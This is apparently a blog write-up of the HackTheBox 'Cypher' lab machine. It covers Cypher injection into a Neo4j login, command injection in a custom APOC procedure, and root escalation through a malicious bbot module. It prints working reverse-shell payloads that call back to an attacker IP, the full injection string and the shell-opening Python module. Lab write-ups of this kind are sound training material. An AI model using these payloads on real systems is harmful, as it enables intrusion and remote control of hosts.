422 words

2 minutes

HackTheBox | Cypher

2025-03-07

CTF

/

HTB

/

write-up

Enumeration#

Port Scan#

Let’s start by scanning the target with Nmap:

1
sudo nmap -sC -sV 10.10.11.57

Scan Results#

1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 21:27 +00
2
Nmap scan report for cypher.htb (10.10.11.57)
3
Host is up (0.077s latency).
4
Not shown: 998 closed tcp ports (reset)
5
PORT   STATE SERVICE VERSION
6
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
7
| ssh-hostkey:
8
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
9
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
10
80/tcp open  http    nginx 1.24.0 (Ubuntu)
11
|_http-title: GRAPH ASM
12
|_http-server-header: nginx/1.24.0 (Ubuntu)
13
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14

15
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
16
Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds

Exploring Port 80#

Since port 80 is open, let’s check the web server:

home

Let’s run dirsearch while manually exploring the site.

1
dirsearch -u http://cypher.htb/ -t 50

We found a login page. Checking the source code reveals an interesting hint:

1
  <script>
2
    // TODO: don't store user accounts in neo4j
3
    function doLogin(e) {
4
      e.preventDefault();
5
      var username = $("#usernamefield").val();
6
      var password = $("#passwordfield").val();
7
      $.ajax({
8
        url: '/api/auth',
9
        type: 'POST',
10
        contentType: 'application/json',
11
        data: JSON.stringify({ username: username, password: password }),
12
        success: function (r) {
13
          window.location.replace("/demo");
14
        },
15
        error: function (r) {
16
          if (r.status == 401) {
17
            notify("Access denied");
18
          } else {
19
            notify(r.responseText);
20
          }
21
        }
22
      });
23
    }
24
  </script>

This suggests a potential Cypher Injection vulnerability. Testing with special characters like \' confirms our suspicion.

error

Exploiting Cypher Injection#

Checking dirsearch results, we find a /testing endpoint:

apoc_custom

It contains a custom APOC extension that may be vulnerable. Let’s download and reverse-engineer it:

1
java -jar cfr.jar custom-apoc-extension-1.0-SNAPSHOT.jar --outputdir decompiled

Identifying the Vulnerability#

Looking at the decompiled code, we find a weakness:

code

The application directly appends user input to a system command. We can exploit this by injecting a reverse shell payload:

1
example.com;bash -c "bash -i >& /dev/tcp/10.10.XX.XXX/9001 0>&1"

Using Cypher Injection, we craft the following payload:

1
admin' OR 1=1 CALL custom.getUrlStatusCode('example.com;bash -c "bash -i >& /dev/tcp/10.10.XX.XXX/9001 0>&1"') YIELD statusCode RETURN statusCode //

Setting up a listener:

1
nc -lvnp 9001

We successfully gain a shell:

neo4j

Privilege Escalation#

Identifying Another User#

Checking /etc/passwd, we find another user, graphasm, whom we need to pivot to:

grahasm_user

Examining .bash_history, we find a stored password:

1
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

Trying it for graphasm:

1
ssh graphasm@10.10.11.57

And it works:

user

Root Privilege Escalation#

Running sudo -l, we see that we can run bbot as root. Checking its documentation, we find that it supports custom modules:

doc

Creating a Malicious Module#

1
mkdir -p /tmp/bbot/modules
2
nano /tmp/bbot/modules/rev.py

1
from bbot.modules.base import BaseModule
2
import socket, subprocess, os
3
import pty
4

5
class rev(BaseModule):
6
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
    s.connect(("10.10.XX.XXX", 9001))
8
    os.dup2(s.fileno(), 0)
9
    os.dup2(s.fileno(), 1)
10
    os.dup2(s.fileno(), 2)
11
    pty.spawn("bash")

Next, we configure bbot to load this custom module:

1
nano /tmp/mypreset.yml

1
module_dirs:
2
  - /tmp/bbot/modules

We set up our listener:

1
nc -lvnp 9001

Then, execute bbot as root:

1
sudo /usr/local/bin/bbot -t ecorp.htb -p /tmp/mypreset.yml -m rev

HackTheBox | Cypher

https://zakariaf.vercel.app/posts/htb-cypher/

Author

Zakaria Farahi

Published at

2025-03-07

License

CC BY-NC-SA 4.0

HackTheBox | Fluffy | easy

HackTheBox | Checker

Exploiting Cypher Injection

Privilege Escalation